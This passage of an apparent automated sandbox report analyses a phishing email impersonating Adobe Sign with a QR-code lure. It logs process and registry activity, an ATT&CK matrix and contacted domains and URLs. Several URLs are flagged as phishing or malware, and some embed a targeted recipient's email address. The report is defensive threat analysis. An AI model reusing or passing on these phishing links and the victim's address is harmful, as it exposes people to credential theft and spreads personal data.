Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: Email	LLM: Page contains button: 'Scan the QR code below with your mobile device camera to Sign your secure documents electronically in just minutes. It's safe, protected, and legally binding.' Source: 'Email'
Source: Email	LLM: Email contains QR code

AI detected potential phishing Email

Source: Email

LLM: Detected potential phishing email: The email impersonates Adobe Sign service but uses inconsistent and suspicious branding (mixing ShareFile with Adobe Sign)

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\outlook\ConfigContextData 1

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Modify Registry	LSASS Memory	12 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://login.windows.local/K	0%	Avira URL Cloud	safe
https://bhutto.systelligence.com/cdn-cgi/challenge-platform/h/b/jsd/r/8df0dd71cde1ddaf	100%	Avira URL Cloud	malware
https://login.windows.localT	0%	Avira URL Cloud	safe
https://ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev/?NHEDjoe.nguyen@leg.wa.gov	0%	Avira URL Cloud	safe
https://bhutto.systelligence.com/o/jsnom.js	100%	Avira URL Cloud	malware
https://bhutto.systelligence.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js?	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
d2vgu95hoyrpkh.cloudfront.net	18.245.31.33	true	false	high
bhutto.systelligence.com	172.67.191.88	true	false	high
cs837.wac.edgecastcdn.net	192.229.133.221	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.185.164	true	false	high
ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev	188.114.97.3	true	false	unknown
windowsupdatebg.s.llnwi.net	87.248.205.0	true	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
www.w3schools.com	unknown	unknown	false	high
cdn.socket.io	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev/?NHEDjoe.nguyen@leg.wa.gov	false	Avira URL Cloud: safe	unknown
https://bhutto.systelligence.com/cdn-cgi/challenge-platform/h/b/jsd/r/8df0dd71cde1ddaf	true	Avira URL Cloud: malware	unknown
https://bhutto.systelligence.com/o/jsnom.js	true	Avira URL Cloud: malware	unknown
https://bhutto.systelligence.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js?	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://shell.suite.office.com:1443	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://designerapp.azurewebsites.net	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://login.windows.local/K	OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl.0.dr	false	Avira URL Cloud: safe	unknown
https://autodiscover-s.outlook.com/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://useraudit.o365auditrealtimeingestion.manage.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://outlook.office365.com/connectors	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://cdn.entity.	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://login.windows.localnull	OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl.0.dr	false		high
https://rpsticket.partnerservices.getmicrosoftkey.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://lookup.onenote.com/lookup/geolocation/v1	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.aadrm.com/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://canary.designerapp.	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://www.yammer.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.microsoftstream.com/api/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://cr.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://login.windows.localT	OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl.0.dr	false	Avira URL Cloud: safe	unknown
https://messagebroker.mobile.m365.svc.cloud.microsoft	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://otelrules.svc.static.microsoft	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://edge.skype.com/registrar/prod	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://tasks.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://officeci.azurewebsites.net/api/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://my.microsoftpersonalcontent.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://store.office.cn/addinstemplate	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://edge.skype.com/rps	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://messaging.engagement.office.com/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://www.odwebp.svc.ms	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.powerbi.com/v1.0/myorg/groups	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://web.microsoftstream.com/video/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://graph.windows.net	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://consent.config.office.com/consentcheckin/v1.0/consents	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://notification.m365.svc.cloud.microsoft/PushNotifications.Register	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://d.docs.live.net	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://safelinks.protection.outlook.com/api/GetPolicy	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://ncus.contentsync.	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
http://weather.service.msn.com/data.aspx	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://mss.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://pushchannel.1drv.ms	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://wus2.contentsync.	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.addins.omex.office.net/api/addins/search	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://clients.config.office.net/user/v1.0/android/policies	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://entitlement.diagnostics.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://outlook.office.com/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://login.microsoftonline.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://clients.config.office.net/c2r/v1.0/InteractiveInstallation	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://service.powerapps.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://graph.windows.net/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://devnull.onenote.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://messaging.office.com/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://skyapi.live.net/Activity/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.cortana.ai	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://messaging.action.office.com/setcampaignaction	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://visio.uservoice.com/forums/368202-visio-on-devices	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://staging.cortana.ai	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://onedrive.live.com/embed?	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://augloop.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.diagnosticssdf.office.com/v2/file	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://officepyservice.office.net/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.diagnostics.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://store.office.de/addinstemplate	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://wus2.pagecontentsync.	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.powerbi.com/v1.0/myorg/datasets	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://cortana.ai/api	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://google.com	chromecache_82.6.dr, chromecache_76.6.dr	false		high
https://logo.clearbit.com/leg.wa.gov	Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg, ~WRS{38B8CA5B-06E4-4B45-A50F-11A8605D86D4}.tmp.0.dr	false		high
https://api.diagnosticssdf.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://login.microsoftonline.com/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.addins.omex.office.net/appinfo/query	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://powerlift.acompli.net	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://cortana.ai	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://api.powerbi.com/v1.0/myorg/imports	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://notification.m365.svc.cloud.microsoft/	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
